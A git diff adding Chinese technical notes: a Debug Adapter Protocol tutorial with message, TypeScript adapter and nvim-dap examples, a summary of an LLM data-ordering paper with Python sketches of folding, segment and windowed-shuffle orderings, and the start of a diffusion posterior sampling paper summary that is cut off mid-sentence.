+{"seq":153,"type":"request","command":"next","arguments":{"threadId":3}} +``` + +| 字段 | 含义 | +|------|------| +| `Content-Length` | body 字节数(必填,目前唯一支持的 header) | +| `seq` | 单调递增序号,用于关联 request 与 response | +| `type` | `request` / `response` / `event` | + +三种消息形态: + +| 类型 | 方向 | 需要回复? | 典型例子 | +|------|------|------------|----------| +| Request | Client → Adapter | 是 | `initialize`, `launch`, `setBreakpoints`, `next` | +| Response | Adapter → Client | — | `InitializeResponse`, `SetBreakpointsResponse` | +| Event | Adapter → Client | 否 | `stopped`, `initialized`, `terminated`, `output` | + +### 2. Capabilities(能力协商) + +DAP 自诞生起一直是 **protocol version 1**,新功能通过 **capabilities 标志** 扩展,而不是 bump 主版本。会话开始时 Client 发 `initialize` request,双方交换各自支持的能力: + +- Client 侧:`supportsRunInTerminalRequest`、`supportsVariablePaging` 等(前缀常为 `supports`) +- Adapter 侧:`supportsConditionalBreakpoints`、`supportsEvaluateForHovers`、`supportsStepBack` 等 + +**规则**:某个 capability 字段**不存在** = 不支持;不必显式返回 `false`。 + +### 3. 会话生命周期(Launch Sequencing) + +一次完整调试会话的典型顺序(规范强制部分步骤的先后关系): + +``` +Client Debug Adapter + | | + |-------- initialize -------------->| + |<------- InitializeResponse -------| (交换 capabilities) + | | + |-------- launch / attach --------->| (启动或附着被调试程序) + | | + |<------- initialized event --------| (适配器:可以收断点配置了) + |-------- setBreakpoints ---------->| + |-------- setExceptionBreakpoints ->| + |-------- configurationDone ------->| + |<------- launch/attach Response ----| (此时程序真正跑起来) + | | + |<------- stopped event ------------| (命中断点 / 异常 / 用户暂停) + |-------- threads ----------------->| + |-------- stackTrace -------------->| + |-------- scopes ------------------>| + |-------- variables --------------->| + | | + |-------- continue / next --------->| + | | + |-------- disconnect / terminate -->| + |<------- terminated event ---------| +``` + +两种启动模式: + +| 模式 | 谁启动被调试程序 | 典型 Request | +|------|------------------|--------------| +| **launch** | Debug Adapter 负责拉起进程 | `launch` + `program`/`args` 等(由扩展 schema 定义,规范不固定字段) | +| **attach** | 用户先手动启动,Adapter 附着 | `attach` + `processId` 等 | + +**configurationDone** 是容易忽略的关键点:在 Adapter 发出 `initialized` event 之前,Client 不应发送断点配置;配置序列结束后发 `configurationDone`,Adapter 才应完成 `launch`/`attach` 的响应。 + +### 4. 停止态与对象引用(Object References) + +程序暂停时,Client 按「瀑布」拉取调试状态: + +``` +threads → stackTrace → scopes → variables → variables(递归子字段) +``` + +`scopes`、`variables` 等复杂结构不直接嵌在父对象里,而是通过 **`variablesReference`(正整数句柄)** 延迟获取。规范约定: + +- 与**当前暂停态**绑定的引用(栈帧、作用域变量)在 **continue 之后失效**;Adapter 可在恢复执行时把引用计数器重置为 1 +- `evaluate`、调试控制台 `output` 事件里的变量引用应尽可能**跨暂停态保留**,方便用户事后检查 + +`threadId` 等标识符**没有**这种短生命周期限制,否则 `pause` 请求无法作用于运行中的线程。 + +### 5. 断点语义 + +`setBreakpoints` 对**单个源文件**发送**全量**断点列表(非增量)。Adapter 通常实现为:清空该文件旧断点 → 设置 request 中的新列表 → 在 response 里返回**实际生效**的断点(位置可能被调试器微调)。 + +若暂时无法验证断点,应设 `verified: false`;之后状态变化用 **`breakpoint` event** 通知 Client 更新 UI。 + +### 6. 连接模式 + +| 模式 | 说明 | +|------|------| +| **Single Session** | Client 把 Adapter 当子进程拉起,经 **stdin/stdout** 通信;会话结束终止进程;多会话 = 多个 Adapter 进程 | +| **Multi Session** | Adapter 常驻监听端口;每个调试会话建立独立 TCP 连接 | + +Adapter 如何被启动**不在** DAP 规范内,由各工具的 `launch.json` / `dap.configurations` 等扩展机制约定。 + +## 代码示例 + +### 示例 1:手工构造一条 DAP `setBreakpoints` 消息 + +下面展示 Base Protocol 帧 + JSON body,等价于在 `main.go` 第 10 行设一个断点(Go 适配器常见场景): + +```text +Content-Length: 287 + +{ + "seq": 4, + "type": "request", + "command": "setBreakpoints", + "arguments": { + "source": { + "path": "/home/dev/project/main.go", + "name": "main.go" + }, + "lines": [10], + "breakpoints": [ + { + "line": 10, + "condition": "err != nil" + } + ], + "sourceModified": false + } +} +``` + +Adapter 的 `SetBreakpointsResponse` 可能返回: + +```json +{ + "seq": 5, + "type": "response", + "request_seq": 4, + "success": true, + "command": "setBreakpoints", + "body": { + "breakpoints": [ + { + "id": 1, + "verified": true, + "line": 10, + "message": "" + } + ] + } +} +``` + +若第 10 行不可设断点(如无调试信息),则 `verified: false`,`message` 解释原因。 + +### 示例 2:用 Node.js `@vscode/debugadapter` 实现最小适配器骨架 + +Microsoft 官方提供多语言 SDK。Node.js 侧可用 `DebugSession` 子类快速搭一个「回声」适配器,演示 Request/Event 处理: + +```typescript +import { + DebugSession, + InitializedEvent, + TerminatedEvent, + StoppedEvent, + OutputEvent, + Thread, +} from '@vscode/debugadapter'; + +class MinimalDebugSession extends DebugSession { + private static threadId = 1; + + protected initializeRequest( + response: DebugProtocol.InitializeResponse, + args: DebugProtocol.InitializeRequestArguments + ): void { + response.body = response.body || {}; + response.body.supportsConfigurationDoneRequest = true; + response.body.supportsEvaluateForHovers = true; + this.sendResponse(response); + this.sendEvent(new InitializedEvent()); + } + + protected configurationDoneRequest( + response: DebugProtocol.ConfigurationDoneResponse + ): void { + this.sendResponse(response); + } + + protected launchRequest( + response: DebugProtocol.LaunchResponse, + args: DebugProtocol.LaunchRequestArguments + ): void { + this.sendResponse(response); + this.sendEvent(new OutputEvent('Program started\n', 'stdout')); + // 模拟立即在入口停住 + this.sendEvent( + new StoppedEvent('entry', MinimalDebugSession.threadId) + ); + } + + protected threadsRequest(response: DebugProtocol.ThreadsResponse): void { + response.body = { + threads: [new Thread(MinimalDebugSession.threadId, 'main')], + }; + this.sendResponse(response); + } + + protected disconnectRequest( + response: DebugProtocol.DisconnectResponse, + args: DebugProtocol.DisconnectArguments + ): void { + this.sendResponse(response); + this.sendEvent(new TerminatedEvent()); + } +} + +MinimalDebugSession.run(MinimalDebugSession); +``` + +配合 VS Code `launch.json`: + +```json +{ + "version": "0.2.0", + "configurations": [ + { + "type": "minimal", + "request": "launch", + "name": "Launch Minimal Adapter", + "program": "${workspaceFolder}/dummy" + } + ] +} +``` + +`type: "minimal"` 由扩展注册,指向上述 Adapter 可执行文件;Client 仍按标准顺序发 `initialize` → `launch` → 等 `initialized` → `configurationDone`。 + +### 示例 3:Neovim `nvim-dap` 客户端配置(消费方视角) + +作为 DAP Client,Neovim 不实现调试器,只发标准 Request。调试 Go 时典型配置: + +```lua +local dap = require('dap') + +dap.adapters.delve = { + type = 'server', + port = '${port}', + executable = { + command = 'dlv', + args = { 'dap', '--listen', '127.0.0.1:${port}', '--log', '--log-output=dap' }, + }, +} + +dap.configurations.go = { + { + type = 'delve', + name = 'Debug main', + request = 'launch', + program = '${workspaceFolder}', + dlvLoadConfig = { + followPointers = true, + maxVariableRecurse = 1, + maxStringLen = 64, + maxArrayValues = 64, + maxStructFields = -1, + }, + }, +} +``` + +用户在 Neovim 里按 F5,`nvim-dap` 在后台完成:`initialize` → `launch` → 断点同步 → `continue` → 处理 `stopped` event → 拉 `stackTrace`/`variables`。**同一份 Delve DAP 适配器**也可被 VS Code Go 扩展使用。 + +## 与 LSP 的对比 + +| 维度 | LSP | DAP | +|------|-----|-----| +| 解决的问题 | 编辑期「语言智能」 | 运行期「交互式调试」 | +| 消息载体 | JSON-RPC 2.0(`method`/`id`) | 自定义 JSON(`command`/`seq`) | +| 传输帧 | `Content-Length` + JSON | 相同 | +| 中间层名称 | Language Server | Debug Adapter | +| 版本策略 | 显式 LSP 3.x 版本 | 永久 v1 + capabilities 标志 | +| 典型 Client | 编辑器代码补全 | 断点、单步、变量、REPL | + +两者常成对出现:Rust 用 `rust-analyzer`(LSP)+ `lldb-vscode`/`codelldb`(DAP);Python 用 Pylance/Pyright(LSP)+ `debugpy`(DAP)。 + +## 常见 Request / Event 速查 + +| 名称 | 类型 | 作用 | +|------|------|------| +| `initialize` | Request | 交换 capabilities,会话第一步 | +| `launch` / `attach` | Request | 启动或附着被调试程序 | +| `configurationDone` | Request | 告诉 Adapter 断点配置已发完 | +| `setBreakpoints` | Request | 某源文件的全量断点 | +| `continue` / `next` / `stepIn` / `stepOut` | Request | 执行控制 | +| `threads` / `stackTrace` / `scopes` / `variables` | Request | 暂停态信息瀑布 | +| `evaluate` | Request | 调试控制台求值 / hover | +| `disconnect` / `terminate` | Request | 结束会话(attach vs launch 语义不同) | +| `initialized` | Event | Adapter 准备好接收断点配置 | +| `stopped` | Event | 程序暂停,带 `reason`(breakpoint、exception、pause…) | +| `output` | Event | 被调试程序 stdout/stderr 到调试控制台 | +| `terminated` | Event | 调试会话结束 | + +## 实现与生态 + +规范页列出了大量现成适配器:**debugpy**(Python)、**Delve DAP**(Go)、**Java Debug Adapter**、**lldb-vscode**、**Mono/Debugger**、**perl-debug-adapter** 等。SDK 包括: + +- **Node.js**:[`@vscode/debugadapter`](https://www.npmjs.com/package/@vscode/debugadapter) + [`@vscode/debugadapter-testsupport`](https://www.npmjs.com/package/@vscode/debugadapter-testsupport) +- **Java**:[Eclipse LSP4J Debug](https://github.com/eclipse-lsp4j/lsp4j) 等 +- **测试**:官方 [debug adapter test suite](https://github.com/microsoft/debug-adapter-protocol/tree/main/test-suite) 可验证适配器合规性 + +若你要为新语言添加调试支持,推荐路径: + +1. 先用现有 CLI 调试器验证能设断点、单步、看变量 +2. 实现薄层 Debug Adapter,优先支持 `initialize`、`launch`、`setBreakpoints`、`configurationDone`、`continue`、`threads`、`stackTrace`、`scopes`、`variables`、`stopped`/`terminated` +3. 用 VS Code 或 `nvim-dap` 做手工测试,再跑官方 test suite +4. 按需声明 capabilities,逐步加条件断点、`evaluate`、多线程、`runInTerminal` 等 + +## 常见误区 + +1. **把 DAP 当成调试器本身** — DAP 只是 UI 与调试后端之间的协议;GDB、lldb、JDWP 才是实际执行调试的机制 +2. **在 `initialized` 之前发 `setBreakpoints`** — 违反时序,部分 Adapter 会丢断点或行为未定义 +3. **假设 `variablesReference` 跨 continue 仍有效** — 暂停态引用在恢复执行后失效,Client 必须重新拉取 +4. **认为 `launch` 的参数由规范统一** — `program`、`cwd`、`env` 等由各家 Adapter 的 JSON Schema 定义(通常通过 VS Code `contributes.debuggers` 贡献) +5. **忽略 `verified: false` 断点** — UI 应明确提示灰显断点,而不是假装已生效 + +## 延伸阅读 + +- [DAP 官方规范 1.71.0](https://microsoft.github.io/debug-adapter-protocol/specification) — 全部 Request/Event 的 JSON Schema +- [Overview(架构与生命周期)](https://microsoft.github.io/debug-adapter-protocol/overview) — 官方序列图与对象生命周期说明 +- [Language Server Protocol 笔记](./language-server-protocol-spec.md) — 姊妹协议,对比阅读效果更好 +- [VS Code Debugger Extension 指南](https://code.visualstudio.com/api/extension-guides/debugger-extension) — 如何注册 `type`、写 `launch.json` schema、打包 Adapter +- [nvim-dap 文档](https://github.com/mfussenegger/nvim-dap) — 非 VS Code 客户端实现参考 + +--- + +**一句话总结**:DAP 是编辑器和调试器之间的「通用遥控协议」——编辑器只实现一次调试 UI,调试器通过 Adapter 说同一种 JSON 语言;理解 **capabilities 协商**、**launch 时序** 和 **暂停态对象引用**,就掌握了现代 IDE 调试体验的核心骨架。 diff --git a/src/content/docs/papers/demystifying-data-org.md b/src/content/docs/papers/demystifying-data-org.md new file mode 100644 index 000000000..6a6b713c2 --- /dev/null +++ b/src/content/docs/papers/demystifying-data-org.md @@ -0,0 +1,353 @@ +--- +title: Demystifying Data Organization for Enhanced LLM Training — 用「排课表」而不是「删题目」提升大模型训练 +来源: https://arxiv.org/abs/2605.30334 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:同一套题库,顺序决定期末成绩 + +想象你是一位高中班主任,手里有一份 **已经筛好的** 模拟卷题库(每条样本都有「难度/质量分」),学期只剩 **一轮完整刷题**(对应 LLM 常见的 **1 epoch 预训练**)——每道题只能做一遍,不能像以前那样简单题反复刷到吐。 + +你会怎么排课? + +| 日常做法 | 对应训练策略 | 常见后果 | +|---------|-------------|---------| +| 题目打乱随机发 | Random 随机顺序 | 稳定但平庸,边界阶段(开学/期末)没有针对性 | +| 从易到难一路推 | Curriculum Learning (CL) | 前期学得快,后期全做难题时 **忘记基础**(论文用低分样本 PPL 反弹验证) | +| 期末突击全上难题 | 训练末尾全是低分样本 | 最终性能停滞(SEG(h90) 类配置) | +| 期中把简单题再插回来 | Baby Step / 显式 replay | 有效但 **数据量翻倍**,LLM 规模下不现实 | +| 开学稳、期末冲、过渡平滑、每节课题型混搭 | 本文四条 Guidances + STR/SAW | **不增数据、几乎不增算力**,只改顺序 | + +论文的核心洞察:**选什么题(Data Selection)** 和 **什么顺序做(Data Organization)** 是两件不同的事。工业界已经为筛选数据算过一遍 sample-level score(FineWeb-Edu 的教育分、QuRated 的多维质量分等),但这些分数通常 **筛完就扔**。本文说:同一份 $\bm{\gamma}$ 再排一次序,几乎是 **零额外成本** 的性能杠杆。 + +--- + +## 这篇论文在解决什么问题 + +### 1. 背景:LLM 训练是「单次过堂」 + +现代 LLM 常在 **数十亿 token 上只训 1~几个 epoch**(Llama、Qwen 等)。在这种 regime 下: + +- 每个样本在训练生命周期里 **曝光次数有限**; +- **时间顺序** 成为塑造优化轨迹的一阶因素,而不只是「有没有这条数据」; +- 传统 Curriculum Learning 假设可以多次 revisit 简单样本,与 LLM 现实 **不匹配**。 + +### 2. 与相邻工作的关系 + +| 方向 | 代表 | 本文差异 | +|------|------|---------| +| 数据筛选 | FineWeb-Edu、QuRating、DSIR | 分数用于 **subset 选择** 后即丢弃 | +| 课程学习 | Bengio CL | 单调 easy→hard,易遗忘 | +| 折叠复习 | DELT (Dai et al., 2025a) | 有启发,但缺系统化 guidance | +| **数据组织** | **本文** | 四条原则 + STR/SAW,复用已有分数 | + +### 3. 形式化:三阶段流水线 + +设原始数据集 $\mathcal{D}=\{x_1,\ldots,x_{|\mathcal{D}|}\}$。 + +**阶段 A — 打分(Data Scoring)** + +$$ +\bm{\gamma} = g(\mathcal{D}) = [\gamma_1, \gamma_2, \ldots, \gamma_{|\mathcal{D}|}]^\top +$$ + +$\gamma_i$ 可以是质量、难度、可学习性、教育价值等——论文直接 **复用** 数据效率文献里已有的分数。 + +**阶段 B — 筛选(Data Selection,可选)** + +$$ +\mathcal{D}_{\text{sub}} = f_s(\mathcal{D}; \bm{\gamma}, K), \quad K = \lfloor R \cdot |\mathcal{D}| \rfloor +$$ + +保留 score 排名前 $K$ 的样本,**改变规模,不决定顺序**。 + +**阶段 C — 组织(Data Organization,本文核心)** + +$$ +\mathcal{D}_{\text{ord}} = f_o(\mathcal{D}; \bm{\gamma}) = [x_{\pi(1)}, x_{\pi(2)}, \ldots, x_{\pi(n)}] +$$ + +只施加排列 $\pi$,**不改变集合大小**。完整训练集: + +$$ +\mathcal{D}_{\text{train}} = f_o\bigl(f_s(\mathcal{D}; \bm{\gamma}, K); \bm{\gamma}\bigr) +$$ + +**特例**:经典 CL 就是 $f_o$ 按 $\gamma$ **升序** 排列,得到 $\mathcal{D}_{\text{sort}}$。 + +--- + +## 四条 Guidances(G1–G4) + +论文通过大量 ablation 归纳出四条可组合的组织原则,每条都有对应实现模块。 + +### G1:Boundary Sharpening(边界锐化) + +**直觉**:训练 **开头** 和 **结尾** 看到的数据分布,对收敛和最终能力影响极大。 + +- **开头**:先用 **低分(简单、低信息密度)** 样本,稳定早期优化(类似 learning rate warmup 的数据侧版本)。 +- **结尾**:用 **高分(复杂、高质量)** 样本收尾,把模型能力「对齐」到下游推理任务。 + +**实现 — SEG(Segment Ordering)**:把 $\mathcal{D}_{\text{sort}}$ 按百分位切成 $L$ 段 $\mathcal{D}_0,\ldots,\mathcal{D}_{L-1}$,段内 shuffle,再拼接。例如 SEG(l10-h10) 表示低分起步、高分收尾。 + +**实验结论(FineWeb-Edu, Mistral-160M)**: + +- 结尾是高分 → 普遍增益(如 SEG(l10-h10) 平均准确率 **38.28%** vs Random **~21.5%**); +- 结尾是低分 → 性能停滞(SEG(h90)); +- **只在开头堆高分** 几乎无益——固定数据量下,开头挑高分意味着结尾被迫吃低分。 + +### G2:Cyclic Scheduling(周期调度) + +**直觉**:严格单调 CL 在后期全是难题,模型会 **遗忘** 早期简单样本上学到的基础(论文监测最低 10% 分位样本 $D_e$ 的 PPL:CL 先降后 **反弹**,FO 多周期后仍保持低 PPL)。 + +**实现 — FO(Folding Ordering)**:对排序后的数据做 **步长为 $L$ 的分层抽样**(strided partition)——第 $l$ 层取索引 $i \equiv l \pmod L$ 的样本。每个 folding cycle 覆盖 **全分数谱**,实现 **无 replay 开销的周期性复习**。 + +### G3:Curriculum Continuity(课程连续性) + +**直觉**:分数分布 **突变** 会在 cycle 边界造成 **梯度范数尖峰**(optimizer shock),训练不稳定。 + +**实现 — ZIG(Zig-zag)**:在过渡区用 zig-zag 机制替代 FO 的折叠,使相邻样本的 score 变化更平滑。FO-3 在 cycle 边界出现 gradient norm spike;ZIG 维持更平稳的优化动态。 + +### G4:Local Diversity(局部多样性) + +**直觉**:严格按分数排序时,连续 batch 内样本过于同质 → **梯度多样性** 下降 → 过拟合特定模式、泛化变差。 + +**实现 — JIT**:在已排好的序列上,用窗口 $w$ 做局部混洗/交错,在 **不破坏全局课程进度** 的前提下提高 mini-batch 内的 score 方差。JIT 还能让 loss landscape 更 **flat**(权重扰动实验:JIT 模型对噪声更鲁棒)。 + +--- + +## 两种综合策略:STR 与 SAW + +在四条 guidance 之上,论文给出两个 **可部署** 的排序算法。 + +### STR(Stair Ordering)— G1 + G2 + G4 + +1. 将 $\mathcal{D}_{\text{sort}}$ 切成 $K$ 个 section; +2. **稳定区** $\mathcal{D}^s$:保持单调 score 顺序(全局 easy→hard 趋势,满足 G1); +3. **过渡区** $\mathcal{D}^t$(split point 半径 $\rho$ 内):应用 **FO 折叠**(G2 周期复习); +4. 可选 **JIT**(G4)。 + +形状像 **楼梯**:大段单调上升,台阶转角处折叠复习。 + +### SAW(Saw Ordering)— G1 + G2 + G3 + G4 + +STR 的过渡区用 FO 会在区域边界产生 **属性跳变**。SAW 把过渡区的 $f_{\text{FO}}$ 换成 **$f_{\text{ZIG}}$**,强制 smoother transition(G3),其余同 STR。 + +论文 Figure 1:SAW 的 score–index 热力图比 Random/CL 更 **结构化、渐进**;在 160M–1.7B 各规模上 **稳定优于** Random 与 CL,模型越大增益有时更明显。 + +**主结果(Table 5, Mistral-160M, 1B tokens FineWeb-Edu)**: + +| 方法 | 平均准确率(%) | 启用的 Guidance | +|------|----------------|-----------------| +| Random | ~21.5 | — | +| CL | ~37.1 | 单调课程 | +| DELT | 基线级 | 折叠 | +| **STR** | **38.65** | G1+G2+G4 | +| **SAW** | **38.78** | G1+G2+G3+G4 | + +STR 与 SAW 接近:因为 STR 的过渡区折叠范围较窄,剧烈跳变本就较少,G3 的边际收益被压缩。最优配置报告为 **STR-2(JIT)** 与 **SAW-2(JIT)**。 + +--- + +## 实验设置速览 + +| 维度 | 配置 | +|------|------| +| 预训练数据 | FineWeb-Edu(主文)、QuRatedPajama(附录);1B tokens 主实验,50B scaling | +| 领域 SFT | DeepMath-103K(数学)、OpenCodeInstruct(代码) | +| 模型 | 预训练 Mistral 架构 160M–1.7B;SFT 用 Qwen3 官方权重 | +| 分数来源 | FineWeb-Edu 教育分(0–5);QuRated 四维质量分 | +| 基线 | Random、CL、DELT | +| 评估 | 多 benchmark 平均准确率;PPL、梯度范数、scaling law 外推 | +| 代码 | [microsoft/data-efficacy](https://github.com/microsoft/data-efficacy/) | + +Scaling 实验:在 DCLM 上 160M→1.7B,STR/SAW 的 test loss 优势 **随规模保持甚至放大**;用 Chinchilla scaling law 外推到 GPT-3 175B、Llama 3.1 405B 量级,组织数据的收益 **仍然存在**。 + +--- + +## 代码示例 1:Folding Ordering(FO,实现 G2) + +下面用 Python 演示论文 Algorithm 2 的核心——对 **已按 score 升序排列** 的索引做步长为 $L$ 的分层,再按层拼接。这是 **零额外数据** 的「周期复习」。 + +```python +from __future__ import annotations + +import numpy as np + + +def folding_order(scores: np.ndarray, num_layers: int) -> np.ndarray: + """ + FO (Folding Ordering): Cyclic Scheduling (G2). + + Args: + scores: shape (N,), 每个样本的质量/难度分 + num_layers: 折叠层数 L + + Returns: + order: 长度 N 的索引排列,按 FO 规则组织训练顺序 + """ + sorted_idx = np.argsort(scores, kind="stable") # 低分 -> 高分 + n = len(sorted_idx) + layers: list[list[int]] = [[] for _ in range(num_layers)] + + for rank, sample_id in enumerate(sorted_idx): + layer = rank % num_layers + layers[layer].append(int(sample_id)) + + # 按层拼接:cycle-0, cycle-1, ..., cycle-(L-1) + order: list[int] = [] + for layer in layers: + order.extend(layer) + return np.array(order, dtype=np.int64) + + +# --- 玩具例子:10 条样本,分数 0..9 --- +scores = np.arange(10, dtype=float) +fo2 = folding_order(scores, num_layers=2) +fo3 = folding_order(scores, num_layers=3) + +print("sorted :", np.argsort(scores)) +print("FO-2 :", fo2) # [0,2,4,6,8, 1,3,5,7,9] — 偶数秩与奇数秩分两 cycle +print("FO-3 :", fo3) # 每 3 个秩一层,每层覆盖不同分数段 +``` + +**读输出**:FO-2 先把排序后的第 0、2、4… 条(覆盖低分到高分)训完一轮,再训第 1、3、5… 条——每个 cycle 都见到 **宽分数谱**,而不是 CL 那样后半段只剩难题。 + +--- + +## 代码示例 2:Segment Ordering + JIT 窗口混洗(G1 + G4 骨架) + +SEG 实现 G1(分段边界控制);JIT 在 SEG 或 STR/SAW 输出上增加 G4(局部多样性)。下面给一个 **教学用** 的简化实现:先按百分位分段拼接,再在固定窗口内做 constrained shuffle。 + +```python +from __future__ import annotations + +import numpy as np + + +def segment_order( + scores: np.ndarray, + segment_bounds: list[tuple[float, float]], + rng: np.random.Generator | None = None, +) -> np.ndarray: + """ + 简化版 SEG (G1): 按分数百分位切段,段内 shuffle,再拼接。 + + segment_bounds 例如 [(0.0, 0.1), (0.1, 0.9), (0.9, 1.0)] 对应 SEG(l10-h10) 风格。 + """ + rng = rng or np.random.default_rng(0) + n = len(scores) + sorted_idx = np.argsort(scores, kind="stable") + ranks = np.empty(n, dtype=np.int64) + ranks[sorted_idx] = np.arange(n) + + segments: list[list[int]] = [[] for _ in segment_bounds] + for sample_id, rank in enumerate(ranks): + pct = rank / max(n - 1, 1) + for seg_id, (lo, hi) in enumerate(segment_bounds): + if lo <= pct <= hi or (seg_id == len(segment_bounds) - 1 and pct == 1.0): + segments[seg_id].append(sample_id) + break + + order: list[int] = [] + for seg in segments: + seg_arr = np.array(seg, dtype=np.int64) + rng.shuffle(seg_arr) + order.extend(seg_arr.tolist()) + return np.array(order, dtype=np.int64) + + +def jit_local_shuffle(order: np.ndarray, window: int, rng: np.random.Generator | None = None) -> np.ndarray: + """ + 简化版 JIT (G4): 在滑动窗口内 shuffle,保留全局大致进度,提高局部 score 多样性。 + 论文中 window w 对 CL/FO/ZIG 分别调参(如 5000、50000)。 + """ + rng = rng or np.random.default_rng(1) + out = order.copy() + n = len(out) + + for start in range(0, n, window): + end = min(start + window, n) + chunk = out[start:end].copy() + rng.shuffle(chunk) + out[start:end] = chunk + return out + + +# --- 演示:100 条样本,低分起步 + 高分收尾 + JIT --- +rng = np.random.default_rng(42) +scores = rng.uniform(0, 1, size=100) +seg_order = segment_order(scores, [(0.0, 0.1), (0.1, 0.9), (0.9, 1.0)], rng=rng) +final_order = jit_local_shuffle(seg_order, window=10, rng=rng) + +# 检查「开头 / 结尾」平均分数是否符合 G1 意图 +print("head mean score:", scores[final_order[:10]].mean()) +print("tail mean score:", scores[final_order[-10:]].mean()) +print("global head->tail trend OK:", scores[final_order[:10]].mean() < scores[final_order[-10:]].mean()) +``` + +**工程提示**:真实 STR/SAW 还要在 section 之间的 **过渡区** 插入 FO 或 ZIG(G2/G3),并对接分布式 dataloader 的 **deterministic shuffle seed**。论文强调:JIT 应作为 **最后一步** 加在 $f_o$ 输出上,避免破坏全局课程结构。 + +--- + +## 代码示例 3:把组织接到训练 loop(概念骨架) + +```python +# 伪代码:同一分数向量驱动 selection + organization +gamma = load_prewcomputed_scores(corpus) # FineWeb-Edu / QuRated,离线算一次 + +# 可选:筛选 top-R +top_k = int(0.5 * len(gamma)) +selected_ids = np.argsort(-gamma)[:top_k] + +# 组织:SAW-2(JIT) — 生产环境应调用官方 data-efficacy 实现 +ordered_ids = saw_order(gamma[selected_ids], num_sections=2, transition="zigzag") +ordered_ids = jit_local_shuffle(ordered_ids, window=5000) + +train_loader = build_loader(corpus, ordered_ids, shuffle=False) # 顺序由 f_o 决定,不再 random shuffle + +for step, batch in enumerate(train_loader): + loss = model.training_step(batch) + loss.backward() + optimizer.step() +``` + +关键点:`shuffle=False` —— 顺序本身就是 **训练信号** 的一部分;若再 random shuffle,会破坏 G1–G3 精心构造的轨迹。 + +--- + +## 局限与依赖 + +1. **分数质量决定上限**:组织策略完全依赖 $\bm{\gamma}$。分数噪声大、与任务无关时,排序可能有害。论文明确承认这是主要 limitation。 +2. **不是万能替代数据筛选**:组织 **不改变** $|\mathcal{D}|$;低质量 corpus 靠排序无法变魔法。 +3. **超参敏感**:FO 的层数 $L$、SEG 的百分位区间、JIT 的窗口 $w$、STR/SAW 的 section 数 $K$ 和过渡半径 $\rho$ 都需要验证(论文对 $L$ 做了 grid search,FO-20/FO-100 可能退化)。 +4. **分布式训练细节**:全局顺序 vs 多 worker 分片、resume checkpoint 时的顺序一致性,生产系统要额外工程化(论文 focus 在算法与单轨实验)。 + +--- + +## 谁应该关心这篇论文 + +| 角色 | 可行动项 | +|------|---------| +| 预训练工程师 | 若已有 QuRating / FineWeb-Edu 分数 pipeline,**加一层 $f_o$** 几乎零成本 | +| 数据平台 | 把 score 从「一次性 filter」升级为 **filter + rank API** | +| 研究者 | 四条 guidance 提供了比「单调 CL」更细的 ablation 语言 | +| 微调工程师 | SFT 阶段在 DeepMath / OpenCodeInstruct 上同样有效,不仅限于 pretrain | + +--- + +## 一句话总结 + +**Demystifying Data Organization for Enhanced LLM Training** 告诉我们:在大模型 **少 epoch、大数据** 的训练范式下,**同一批数据怎么排队** 与 **选哪批数据** 同样重要。复用已有的 sample-level score,按 **边界锐化、周期复习、平滑过渡、局部多样** 四条原则组织序列,STR/SAW 能在 **不增加训练 token、几乎不增加算力** 的前提下,稳定提升预训练与 SFT 的效果——就像同一套题库,换一张更科学的课表,期末均分就能上去。 + +--- + +## 延伸阅读 + +- FineWeb-Edu / QuRating:分数从哪来 +- DELT (Dai et al., 2025a):折叠复习的相关工作 +- Curriculum Learning (Bengio et al., 2009):本文特例化的基线 +- 官方实现:[https://github.com/microsoft/data-efficacy/](https://github.com/microsoft/data-efficacy/) diff --git a/src/content/docs/papers/diffusion-posterior-finite.md b/src/content/docs/papers/diffusion-posterior-finite.md new file mode 100644 index 000000000..fdcbfe09a --- /dev/null +++ b/src/content/docs/papers/diffusion-posterior-finite.md @@ -0,0 +1,262 @@ +--- +title: 扩散后验采样何时失败?——有限样本透镜(Finite-Sample Lens) +来源: https://arxiv.org/abs/2605.30330 +日期: 2026-06-13 +分类: 机器学习 +子分类: 模型与训练 +provenance: pipeline-v3 +--- + +## 从日常类比开始:侦探拼图 vs 蒙眼猜形状 + +想象你是侦探,手里有一张**模糊的监控截图**(测量值 \(y\)),要在**嫌疑人名单**里找出最像真凶的人(后验 \(p(x \mid y)\))。 + +名单上每个人长相、身高、习惯都不同——这就是**先验** \(p_{\text{pr}}(x)\),往往很复杂、多峰(有人像猫、有人像狗、有人像鸟)。 + +**扩散后验采样(Diffusion Posterior Sampling, DPS)** 的做法像: + +1. 先把所有嫌疑人照片**故意弄糊**(加噪到中间时刻 \(x_t\)); +2. 每一步根据「模糊照片 + 监控截图」微调,让轨迹逐渐变清晰; +3. 最后得到一张「既像名单里某人、又符合监控」的清晰照片。 + +问题在于:中间每一步,算法**不能精确算**「给定当前模糊图,真凶可能是谁、概率多大」——只能**近似**(常见做法:把可能性压成**一个点**,忽略 spread)。论文问的就是: + +> **这种近似什么时候会把侦探带偏?为什么?怎么诊断?** + +作者给出的答案不是再发明一个新 sampler,而是换一副**有限样本透镜(Finite-Sample Lens, FSR)**:把连续先验换成 \(N\) 张真实训练样本组成的离散分布,于是**中间任意时刻 \(t>0\) 的后验可以解析算出来**,当作「标准答案」去对比 DPS、ΠGDM、TMPD 等流行方法哪里错了。 + +--- + +## 是什么 + +**When, Why, and How Do Diffusion Posterior Samplers Fail? A Finite-Sample Lens**(Burns & Fridovich-Keil,arXiv:[2605.30330](https://arxiv.org/abs/2605.30330),2026)研究**成像逆问题**里用预训练扩散模型做**零样本后验采样**时的失败模式。 + +| 项目 | 内容 | +|------|------| +| 问题 | 现有方法在**中间时间步**对似然 \(p(y \mid x_t)\) 做近似以求可算;近似误差如何传导到最终后验,缺乏系统理解 | +| 方法 | **FSR**:先验 \(p_N^{\text{pr}}(x) = \frac{1}{N}\sum_i \delta(x - x^{(i)})\),推导 \(p_{t\mid y}^N(x_t \mid y)\) 的闭式(高斯混合) | +| 用途 | **即插即用诊断工具**:对比任意 likelihood 近似、线性/非线性前向模型 \(\mathcal{A}\) | +| 核心发现 | 流行近似常**低估或高估**中间后验的 spread → 早停敏感、模态权重错、**幻觉**(prior 模态 / likelihood 模态) | + +--- + +## 为什么重要 + +不理解这篇论文,下面现象只能「调参碰运气」: + +- DPS 重建图像**看起来不错**,但换测量噪声、换 early stopping 就崩 +- **多模态先验**(如 GMM、离散类别)下,采样总偏向某一个「像训练集」的模式,却**不是**真后验该重的模态 +- \(\zeta\)-DPS 调大 \(\zeta\) 有时更好、有时**模态坍缩**——没有 principled 解释 +- 终端样本 \(t=0\) 很 